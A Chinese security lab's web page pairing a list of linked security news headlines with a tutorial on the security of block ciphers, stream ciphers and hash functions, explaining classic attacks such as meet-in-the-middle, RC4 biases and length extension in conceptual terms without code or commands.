免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、LockBit 勒索软件声称已经入侵了普利司通美洲公司 https://securityaffairs.co/wordpress/128957/cyber-crime/bridgestone-americas-lockbit-ransomware.html 2、攻击者使用网站联系表格传播 BazarLoader 恶意软件 https://securityaffairs.co/wordpress/128942/cyber-crime/phishing-bazarloader-campaign.html 3、俄互联网监管机构 Roskomnadzor 将禁止 Instagram https://securityaffairs.co/wordpress/128935/cyber-warfare-2/russian-roskomnadzor-bans-instagram.html 4、Lapsus$ 团伙声称入侵了游戏巨头育碧公司 https://securityaffairs.co/wordpress/128929/hacking/ubisoft-cyber-security-incident.html 5、东映动画遭受网络攻击延迟发布新的海贼王动漫剧集 https://www.bleepingcomputer.com/news/security/new-one-piece-anime-episodes-delayed-after-toei-cyberattack/ 6、欧姆龙修补修补了 PLC 编程软件中的高危漏洞 https://www.securityweek.com/high-severity-vulnerabilities-patched-omron-plc-programming-software 7、研究人员推测新的Nokoyawa勒索软件与Hive有关 https://www.trendmicro.com/en_us/research/22/c/nokoyawa-ransomware-possibly-related-to-hive-.html 8、约70%的ServiceNow实例配置错误暴露敏感数据 https://threatpost.com/most-servicenow-instances-misconfigured-exposed/178827/ 9、流行的软件包管理器中发现多个安全漏洞 https://thehackernews.com/2022/03/multiple-security-flaws-discovered-in.html 10、为对抗制裁,俄罗斯决定自建TLS根证书 https://www.freebuf.com/news/324501.html
密码学的安全性浅析2
分组密码   分组密码是一种对称密钥算法。它将明文分成多个等长的模块,使用确定的算法和对称密钥对每组分别加密解密。分组加密是极其重要的加密协议组成,其中典型的如AES和3DES作为美国政府核定的标准加密算法,应用领域从电子邮件加密到银行交易转帐,非常广泛。基本流程细节这里不展开,可以参考密码学相关教材,本文专注于分析其中与安全性有关的部分。    分组大小   分组密码有两个重要的特征:分组大小和密钥大小,其安全性也取决于这两个值,大多数分组密码的分组大小为64比特或128比特,比如DES的分组为64比特,AES的分组为128比特,这些都是2的n次幂,因为这可以让数据的存储、寻址、处理等操作更加方便。   但是各位有没有想过为什么是64、128,而不是256或者更小的32呢?   首先分组不能太大,我们应该让密文的长度和内存占用尽可能小。比如我们使用AES加密16比特信息时,需要将信息转换为128比特,然后对其处理得到128比特密文,很明显,分组越大,开销也越大。64比特、128比特对于大多数CPU的寄存器都可以方便操作。   同时分组不能太小,分组太小的话容易受到代码本攻击Codebook attack。代码本攻击是用16比特分组进行的:   1.首先得到对应于每个16比特明文分组的2^16个密文   2.然后建立代码本,即查找表,将每个密文分组映射到相应的明文分组   3.对未知的密文分组进行解密,查找表中对应的明文分组   如果使用的是16比特分组长度的密码,则攻击者建立的查找表只需要16x2^16=   2^20比特内存,即128kb;而如果使用的是分组长度为32比特,则内存需要16gb,这对于攻击者而言都是可行的;而如果要攻击64比特分组的密码,攻击者必须要有1ZB的内存,这是不可行的。   分组构造   我们知道,分组密码实际上是一个循环多轮的运算,轮本身是很弱的一系列运算,但是数量很多。而循环的构造主要有两种技术:代换-置换网络(Substitution-Permutation Network,SP-network或SPN))(AES采用)和Feistel方案(DES采用)   在分组密码中,我们会明确规定轮与轮之间是不相同的,这是为什么呢?因为如果相同的话,容易受到滑动攻击Slide attack。   滑动攻击中的攻击者找到两个明文-密文对(P1,C1)(P2,C2),设R是分组密码的轮函数,有P2=R(P1)。当轮函数相同时,两个明文之间的关系蕴含着对应的各自密文之间的关系即C2=R(C1),下图是轮数为3时的示意图     攻击者一旦知道一轮的输入和输出就有助于恢复出密钥。   我们一般可以通过使用不同的子密钥作为参数确保每轮的运算是不同的,从而防止滑动攻击。   AES   AES的全称是Advanced Encryption Standard,意思是高级加密标准。它的出现主要是为了取代DES加密算法的,因为我们都知道DES算法的密钥长度是56Bit,因此算法的理论安全强度是2的56次方。但二十世纪中后期正是计算机飞速发展的阶段,元器件制造工艺的进步使得计算机的处理能力越来越强,虽然出现了3DES的加密方法,但由于它的加密时间是DES算法的3倍多,64Bit的分组大小相对较小,所以还是不能满足人们对安全性的要求。于是1997年1月2号,美国国家标准技术研究所宣布希望征集高级加密标准,用以取代DES。AES也得到了全世界很多密码工作者的响应,先后有很多人提交了自   AES组成   AES每轮的四个步骤如下示意    图中所示的运算都是必要的,如果缺乏任一,AES都是不安全的,具体分析如下:   如果没有KeyExpansion,所有轮都会使用相同的密钥K,则容易受到滑动攻击;   如果没有AddRoundKey,加密将不依赖于密钥;这意味着,攻击者可以在没有密钥的情况下解密密文;   SubBytes引入了非线性操作,增加了密码强度,如果没有SubBytes,AES只是由线性函数构成的大系统,使用基础的高等代数知识就可以破解它。   如果没有ShiftRows,给定列中的更改就不会影响其他列,那么攻击者就可以为每列构造4个2^32个元素的查找表来攻破AES   如果没有MixColumns,字节的变化不会影响该状态的其他任何字节。那么对于选择明文攻击而言,只需存储16个查找表(每个表256字节)后就可以解密任何密文,因为这些表中保存着每个字节可能的加密值。   AES实现   虽然在上一节中我们看到有SubBytes(),ShiftRows(),MixColumns()等操作,但是实际中的AES实现代码并不会用这些函数,因为效率太低,AES通过会基于表实现。   AES基于表的实现实际上是利用查询硬编码在程序中并在执行时加载到内存中的表以及XOR运算替换SubBytes(),ShiftRows(),MixColumns()等操作,比如在openssl中其对应的C语言实现如下    但是基于查找表的实现容易受到基于时间的缓存攻击cache-timing attack,当程序读取或者写入缓存中的元素时存在时间变化上的差异,因为访问cache中的元素的相对位置不同则时间也不同,通过这种差异攻击者就可以知道程序访问了哪个元素,进而推测秘密。   操作模式   分组密码加密模式中最简单的就是ECB,ECB模式下的分组密码是不安全的,一个直观的示意如下所示    左侧为原始图像,右侧为使用AES以ECB模式加密后的结果,可以看到在加密后的图像上还是很容易看出企鹅,这本质上是因为原始图像中灰度阴影的所有分组都被加密到新图像中相同的新灰度阴影中。   而在CBC模式中也存在一定问题,CBC通常与固定IV一起使用,而不是使用随机IV,这会导致什么问题呢?设两个明文分组P1||P2在CBC模式下加密得到密文C1||C2;另外有明文分组P1||P2'使用相同的IV加密得到C1||C2'。其中P2与P2’是不同的分组,在得到的密文中,虽然C2和C2‘不同,但是C1是相同的,即危害在于,即使攻击者只拿到密文,但是攻击者仍然可以推测出两个明文的第一个分组是相同的。   中间相遇攻击   在分组密码领域,有两种必须知道的攻击方案,一种是已经介绍过的padding oracle attack,另一种是中间相遇攻击。 提到中间相遇攻击,不知道大家有没有想过一个问题,为什么DES进一步派生出3DES,而不是2DES呢?   因为通过中间相遇攻击,2DES的安全性依然相当于DES,分析如下   设有一个2DES算法C=E(K2,E(K1,P)),其中P为明文,K1,K2均为56比特的密钥。攻击示意如图    流程如下   1.首先构建有2^56项的E(K1,P)的密钥值表   2.对于K2的所有2^56个值,计算D(K2,C)并检查结果值是否出现在表的索引中   3.如果出现,则从表中取出对应的K1,并使用相应的P,C验证找到的K1,K2是否正确,再用它们加密P看是否能得到C,如果可以则说明攻击成功   可以看到,这种攻击方式只需要2x2^56次操作即可,远小于   2^112   而如果我们将这种攻击方式应用于3DES,可以推算出来,第三阶段需要计算K2,K3的所有2^112个值,这意味说3DES实际上只有112比特的安全性,尽管其密钥长度为168比特。   序列密码   序列密码也称为流密码(Stream Cipher),它是对称密码算法的一种。序列密码具有实现简单、便于硬件实施、加解密处理速度快、没有或只有有限的错误传播等特点,因此在实际应用中,特别是专用或机密机构中保持着优势,典型的应用领域包括无线通信、外交通信。    基于硬件   基于硬件的序列密码基本都离不开反馈移位寄存器FSR。    上图所示是一个n级反馈移位寄存器。   其中,a0,a1,…,an−1为初态。F 为反馈函数或者反馈逻辑。如果 F 为线性函数,那么我们称其为线性反馈移位寄存器LFSR,否则我们称其为非线性反馈移位寄存器NFSR。ai+n=F(ai,ai+1,...,ai+n−1)   FSR被无数序列密码使用,因为它非常简单而且容易理解,从上图可见,其包含由一些比特组成的数组以及一个更新的反馈函数F,FSR的状态存储在数组或寄存器中,每次更新就是使用F改变状态并产生一个输出比特。在使用FSR时,需要尽量避免使用短周期的,因为这样会使输出序列更容易预测。   LFSR中文为线性反馈移位寄存器,是具有线性反馈函数的FSR。在密码学中,线性性质意味着可预测性,也暗示着存在简单并容易理解的数学结构。在序列密码中使用LFSR并不安全,假设一个LFSR的长度为n,攻击者仅需要n比特输出就可以还原该寄存器的初始状态,由此可以反推之前的状态信息并得到之后的输出序列,这种攻击基于Berlekamp-Massey(BM)算法,其依赖于LFSR的数学结构去建立方程,求解方程即可。实际上攻击者即使不知道n,也可以通过穷举所有可能的长度进行攻击。   为了掩盖LFSR的线性性质,可以对LFSR的输出序列进行非线性过滤以得到非线性程度更高的密钥序列,称其为过滤生成器,如下所示    图中的g为非线性函数,如异或、逻辑与、逻辑或等。   不过这还是会受到其他复杂的攻击:   代数攻击Algebraic attack:当未知变量是LFSR的内部状态比特时,代数攻击可以求解以内部状态为未知变量的非线性方程   立方攻击Cube attacks:通过计算非线性方程的微商,使其方程的代数次数降到1次,进而得到线性方程组从而求解   快速相关攻击Fast correlation attacks:挖掘非线性过滤函数和线性函数的相似度来实施攻击   为了彻底解决这个问题可以使用NFSR,即非线性反馈移位寄存器,它使用了非线性函数,它的输出比特和状态比特之间的代数关系的复杂性更高,随着运行次数的增加,复杂性呈指数规模增长。   A5/1   基于硬件的序列密码中的一个代表算法就是A5/1,其被用于2G移动通信中,用于对语音通信加密.示意图如下    A5/1流密码使用三个LFSR。虽然我们前面说LFSR不安全,但是A5/1使用小技巧是它变得较为安全,它使用的3个LFSR并非每一时刻都输出,而是通过下面的钟控规则决定每个寄存器的停走:如果某个寄存器的钟控位(橙色)和另一个寄存器的钟控位相同或著三个寄存器的钟控位都相同,则对该寄存器作移位操作。   特别地,在2G通信中使用的A5/1算法有64比特密钥和22比特nonce,其中加密每一帧所用的nonce不同,针对A5/1的攻击旨在恢复算法的64比特的初始状态(即三个寄存器的长度之和19+22+23),然后通过算法的初始化原理恢复nonce和密钥。这种攻击属于已知明文攻击,因为攻击者需要知道部分明文以及对应的密文,这样通过异或运算可以得到部分密钥序列比特。针对A5/1的攻击主要有两类,分别是细致攻击subtle attack以及暴力攻击brutal attack.   subtle attack是挖掘算法内部的线性性质并利用它相对简单的钟控系统,攻击者需要猜测一些内部状态比特以确定其他状态比特,本质上就是遍历第一个和第二个寄存器的所有可能取值以及前11个时钟周期里第三个寄存器的钟控比特的所有可能取值,由此建立方程得到第三个寄存器的内部状态。伪码如下    brutal attack将算法看做是一个64比特输入(内部状态)到64比特(前64比特密钥序列)输出的黑盒,本质是通过消耗内存降低暴力攻击的成本:预算计算一个有2^64个元素的表,表中的元素是每个可能的密钥和其对应的输出。在攻击时,根据输出,通过查表就可以得到对应的密钥。   基于软件   RC4    在密码学中,RC4(来自Rivest Cipher 4的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法.RC4应用非常广泛,在WEP中,RC4用于加密802.11帧的有效负载,这些数据通过数据包的形式进行传输。在同一会话中交付的所有有效负载都使用相同的40比特或104比特的密钥,且在帧头有一个唯一的3字节的nonce编码。   这里的关键在于RC4不支持nonce,而在WEP中使用nonce会造成风险,其原因在于:   nonce的比特数太少,只有24比特,这意味着对于攻击者而言,即使每条消息都随机选择一个nonce,只需等到2^12包,就能找到两个用相同的nonce加密的包,他们有相同的密钥序列,攻击者可以用其去解密数据包;此外还有更严重的问题--nonce和密钥的结合方式有助于恢复密钥。WEP中的nonce是公开的,它的三个字节使攻击者能够在密钥编排方案的三次迭代后确定S的值,基于此密钥分析人员发现密码序列的第一个字节和密钥的第一个字节有很强的相关性,其导致的偏差可以被用于恢复密钥。   在实际场景中,这就会造成选择明文攻击。   在TLS中也使用过RC4,这时存在风险的原因是在于,RC4存在统计数据偏差:RC4生成的密钥序列的第二个字节是0的概率是1/128,而理想情况下应该是1/256;不仅如此,实际上,前256个字节都有偏差,之前就有研究人员发现,其中某字节为0的概率为1/256+c/256^2,c取值介于0.24到1.34.   通过这种缺陷去攻击TLS的过程也非常直观,只需要收集密文并寻找明文,攻击者需要收集很多密文,并且这些密文是同不同的密钥对相同的明文加密得到的。设攻击者拿到了同一明文P1加密得到的多组密文,现在要解密明文P1.前4个密文字节是这样的:    由于前面提到RC4存在统计偏差,密钥序列字节SK1i取值为0的可能性更大,所以对应的C1i等于P1的可能性更大。在给定C1i后,为了确定P1,只需计算每个字节值出现次数并返回出现次数最多的那个值,它就是P1.   哈希函数   散列函数(Hash function)又称散列算法、哈希函数,是一种从任何一种数据中创建小的数字“指纹”的方法。散列函数把消息或数据压缩成摘要,使得数据量变小,将数据的格式固定下来。该函数将数据打乱混合,重新创建一个叫做哈希值或散列值(hash values,hash codes,hash sums,或hashes)的指纹。其运行的示意图如下    生日攻击   我们知道哈希函数存在原像攻击和碰撞攻击。   给定任意哈希值H,原像是指满足Hash(M)=H的消息M,原像攻击指给定随机哈希值,攻击者可以找到原始消息,这一般也被称作第一原像攻击。   除此之外,还存在第二原像攻击,即给定消息M1时,攻击者能够找到另一条消息M2,其哈希值与M1的哈希值相同。   而碰撞攻击则是指攻击者可以找到具有相同哈希值的两条不同的消息。   碰撞攻击的本质是鸽巢原理:有n只鸽子和m个鸽洞,所有鸽子都住在鸽巢里,如果n>m,那么至少有二只鸽子必须住在同一鸽巢里。   可以说这是不可避免的,但是对于哈希函数而言,碰撞应该像原始消息一样难于找到。   通过上面的表述,我们可以看到第二原像攻击与碰撞攻击存在一定联系:   第二原像攻击定义为:   给定固定消息m1,找到另一个消息m2,使hash(m2)= hash(m1)。   碰撞攻击定义为:   找到两个任意不同的消息m1和m2,使hash(m1)= hash(m2)。   区别在于第二原像攻击是给定了m1的,而碰撞攻击没有。就攻击难度而言,前者更难。同时,我们也可以看出,任何具有抗碰撞性的哈希函数,也能够抵御第二原像攻击。   找到碰撞与找到原像要快,需要2^(n/2)次   而不是2^n次,这背后的原理我们称之为生日攻击。   生日攻击是一种密码学攻击手段,所利用的是概率论中生日问题的数学原理。这种攻击手段可用于滥用两个或多个集团之间的通信。此攻击依赖于在随机攻击中的高碰撞概率和固定置换次数(鸽巢原理)。   举个例子   设一位老师问一个有30名学生的班级(n = 30)每个人的生日在哪一天以确定是否有两个学生同一天生日(对应碰撞 )。从直觉角度考虑,机率看起来很小。若老师选择特定日期(例如9月16日),则至少有一名学生在那天出生的几率是1-(364/365)^30,约为7.9%。但是,与我们的直觉相反的是,至少一名学生和另外任意一名学生有着相同生日的几率大约为70.63%(n = 30时),即   1-365!(365-n)!x365^n   更简洁的结论就是,如果班级有23人,则其中有两个学生出生日期相同的概率为1/2。   知道生日攻击的原理后,我们看看对应的攻击方案:   朴素的生日攻击方案如下:   1.计算任意选择的2^(n/2)个消息的哈希,并将所有的消息-哈希对存下来   2.重排哈希值列表   3.搜索排序后的列表以查找具有相同哈希值的两个连续条目   可以看到,这种方法需要大量的内存,同时对大量元素进行排序会减慢搜索的速度。   研究人员在此基础上提出了低内存的攻击方案:Rho攻击(来自Pollard Rho算法),流程如下   1.给定具有n比特哈希值的哈希函数,选择一些随机哈希值H1,设H1'=H1   2.计算H2=Hash(H1),H2'=Hash(Hash(H1'))   3.迭代该过程并计算Hi+1=Hash(Hi),Hi+1'=Hash(Hash(Hi')),直到有一个i可以满足Hi+1=Hi+1'   对应的示意图如下    可以看到这个序列最终会形成一个循环,循环从H5开始,找到的碰撞是Hash(H4)=Hash(H10)=H5,只要我们能够找到循环,就能够找到碰撞。对于攻击者而言,首先找到循环点,然后发现碰撞,不需要在内存中存储大量的值,也不需要排序。   循环以及尾部各自有大约2^(n/2)个值,所以大约需要   2^(n/2)x2次哈希运算就能找到碰撞   这里再多说一句,密码学中一般使用Pollard Rho算法分解大整数,其基于大整数n=pq中p和q之间有一个因子很小,在此情况下,可以利用该算法完成对n的分解,它是基于寻找指定哈希函数的碰撞的思想才设计出来的,也就是我们上文提到的过程。假设找到了碰撞,即找到不相等的x,x'并且有   x mod p = x' mod p   那实际上我们就知道x,x'相差p的整数倍,由此可以知道gcd(x-x',n),如果不是1也不是n,那么就分解成功。   长度扩展攻击   对消息进行哈希处理的最简单方法就是将其分成多个分组,并使用类似的算法连续处理每个分组。这种方法被称为迭代哈希,其主要有两种形式:   1.使用压缩函数迭代哈希,将输入转换为较小的输出,如下所示    这种结构也被称为Merkel-Damgard结构   2.使用将输入转换为相同大小的输出的函数进行迭代哈希,是的任意两个不同的输入给出两个不同的输出,如下所示    这种函数被称为海绵函数   基于M-D结构的有MD4,MD5,SHA-1,SHA-2系列,基于后者的最著名的海绵函数是Keccak,也被称为SHA-3。   对于M-D而言,其主要威胁就是长度扩展攻击。长度扩展攻击是指一种针对特定加密散列函数的攻击手段,攻击者可以利用H(消息1)和消息1的长度,不知道消息1内容的情形下,将攻击者控制的消息2计算出H(消息1 ‖ 消息2)。我们来看下面的例子    设存在未知消息M的Hash(M),M由M1,M2组成,那么攻击者对于任意消息M3都可以确定Hash(M1||M2||M3)。这种攻击可行的原因在于M1||M2的哈希是跟在M2之后的链值,所以可以将另一个分组M3添加到哈希中。   SHA-2就存在这个问题,解决方案也很简单,如BLAKE2中让最后一个压缩函数与其他函数都不同即可。   绕过存储证明协议   存储证明协议在云计算中应用广泛,其使用哈希函数,使得服务器能够向用户证明服务器确实存储了应该存储的用户文件。Kotla等人就提出一种存储证明协议(详情见SafeStore: A Durable and Practical Storage System ),设要存的文件为M,过程如下:   1.客户端选择一个随机值C并发送给服务器   2.服务器计算Hash(M||C)并返回给客户端   3.客户端计算Hash(M||C)并比服务器返回的值作比较,如果吻合则说明服务器确实存储着M   这个协议可行的前提是如果服务器不知道M,那么就不能正确计算出H(M||C)   但是这里的缺陷在于,Hash是一个迭代的哈希,其会逐分组处理输入信息,计算每个分组之间的中间链值。服务器利用这一点完成可以实现欺骗,怎么做呢?   当服务器接收到M时,计算H1=Compress(H0,M1),H0是哈希函数的初始值,然后记录H1并删除M,此时服务器已经没有存储着M了。当客户端发送C时,服务器可以计算出Compress(H1,C)并将其作为Hash(M||C)的结果返回。此时客户端会验证成功,由此就欺骗了该协议。   对于SHA-1,SHA-2,SHA-3以及BLAKE2都存在这个问题。其实对应的解决方案很简单,要求服务器计算Hash(C||M)而不是Hash(M||C)即可。   参考   1.https://www.iacr.org/archive/eurocrypt2000/1807/18070595-new.pdf    2.https://en.wikipedia.org/wiki/Slide_attackhttps://crypto.stackexchange.com/questions/17869/lfsr-output-sampling-for-berlekamp-massey   3.https://ieeexplore.ieee.org/document/6378229   4.https://eprint.iacr.org/2018/522.pdf   5.https://en.wikipedia.org/wiki/Cube_attack   6.http://www.dcs.fmph.uniba.sk/diplomovky/obhajene/getfile.php/master-mv.pdf?id=132&fid=219&type=application%2Fpdf&&   7.SafeStore: A Durable and Practical Storage System
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页